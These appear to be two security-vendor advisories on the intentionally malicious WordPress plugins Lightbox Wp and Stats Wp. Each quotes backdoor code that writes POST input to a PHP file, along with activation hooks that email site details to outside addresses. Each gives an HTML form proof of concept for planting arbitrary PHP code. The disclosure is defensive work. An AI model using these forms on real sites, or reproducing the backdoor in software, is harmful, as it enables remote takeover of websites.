31 Mar

Vulnerability Details: Possible Remote Code Execution (RCE) Vulnerability in Lightbox Wp

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /wp-content/plugins/custom-lightbox/readme.txt, from the plugin Lightbox Wp. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking the plugin’s code we noticed that the plugin had the same malicious code as we have found in numerous other plugins that are being targeted by hackers (all of those plugins have no longer been in the Plugin Directory when we have come across them). We also found, as we found in one of the others, that the malicious code usually will not produced the intended result.

In the file /setup.php there is following code:

2
3
4
5
6
7
8
9
session_start();
$wizardinstall = $_POST['newins'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/jquery-lightbox-terensis-wp/uninstall.php', 'w');
$wizardinstall = str_replace('\\', '', $wizardinstall);
$wizardinstall = htmlentities($wizardinstall);
fwrite($fp, html_entity_decode($wizardinstall));
fclose($fp);
echo $wizardinstall;

That code could take the contents of POST input “newins” and save it to the file /wp-content/plugins/jquery-lightbox-terensis-wp/uninstall.php, which would be a remote code execution (RCE) vulnerability since the file has .php extension. The problem with that is that the function used to create the file, fopen(), will not create a directory that doesn’t exist, so the code will only work in you already have a directory named “jquery-lightbox-terensis-wp”  in the “/wp-content/plugins/” directory. Considering that there isn’t a plugin in the Plugin Directory with that name, it seems unlikely that would be the case for anyone.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file uninstall.php in the directory /wp-content/plugins/jquery-lightbox-terensis-wp/, if that directory already exists.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/custom-lightbox/setup.php" method="POST">
<input type="hidden" name="newins" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
13 Feb

Vulnerability Details: Remote Code Execution (RCE) Vulnerability in Stats Wp

Back in October we discussed our spotting a probe for usage of a group of intentionally malicious plugins that someone had created several years ago. What was notable about this was that that whomever was behind those plugins should not have needed to do that to find what websites were using them because the plugins had code in them that sent an email with the address of the website whenever the plugin was activated or deactivated. That would seem to indicate that someone else had found out about these plugins and was trying to exploit them. That is significant because part of the reason that people on the WordPress team have given for not warning people about their use of known vulnerable plugins, is that the say that if they did that more people would be able to exploit the vulnerabilities, which in this case looks to be happening despite there not being evidence we could find that there had been a disclosure that all these plugins were vulnerable. Something we ran across recently seems to provide further evidence that it was not the not the person behind creating those plugins that was doing that probing and therefore someone else had found that vulnerability existed in those plugins.

As part of series of requests probing for vulnerable plugins on one of our websites recently we had a request for /wp-content/plugins/stats-wp/js/luc.ajax.geoip.js, from the plugin Stats Wp. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

In looking at the plugin’s code, it looks to have been another plugin created by the same person as the rest.

Here is the code from one of the previous plugins that notified the creator when the plugin was activated:

function wppopupplugin_activate() { 
$yourip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/wp-popup/id.txt';
fwrite($fp, $yourip);
fclose($fp);
add_option('wppopupdored_do_activation_redirect', true);
session_start(); $subj = get_option('siteurl'); $msg = "WP Popup Installed" ; $from = get_option('admin_email'); mail("davidceruliowp@gmail.com", $subj, $msg, $from);
wp_redirect('../wp-admin/admin.php?page=wppopup&action=add');
}

And here it is from Stats Wp:

function analyticstatisticsplugin_activate() { 
$wip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/stats-wp/widget.txt';
fwrite($fp, $wip);
fclose($fp);
add_option('analyticstatisticsdored_do_activation_redirect', true);
session_start(); $subj = get_option('siteurl'); $msg = "Stats Installed" ; $from = get_option('admin_email'); mail("joshforyou1@gmail.com", $subj, $msg, $from);
wp_redirect('../wp-admin/admin.php?page=stats-wp/admin/luc_admin.php');
}

The most series part of the malicious code in the previously discussed plugins permitted remote code execution. The contents of the file setup.php in this plugin is nearly identical to the code that did that we showed from a couple of the previous plugins for doing that:

session_start();
$installit = $_POST['install'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/stats-wp/install.php', 'w');
$installit = str_replace('\\', '', $installit);
$installit = htmlentities($installit);
fwrite($fp, html_entity_decode($installit));
fclose($fp);
echo $installit;

Proof of Concept

The following proof of concept will place the specified PHP code in to the file install.php in the directory /wp-content/plugins/stats-wp/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/stats-wp/setup.php" method="POST">
<input type="hidden" name="install" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>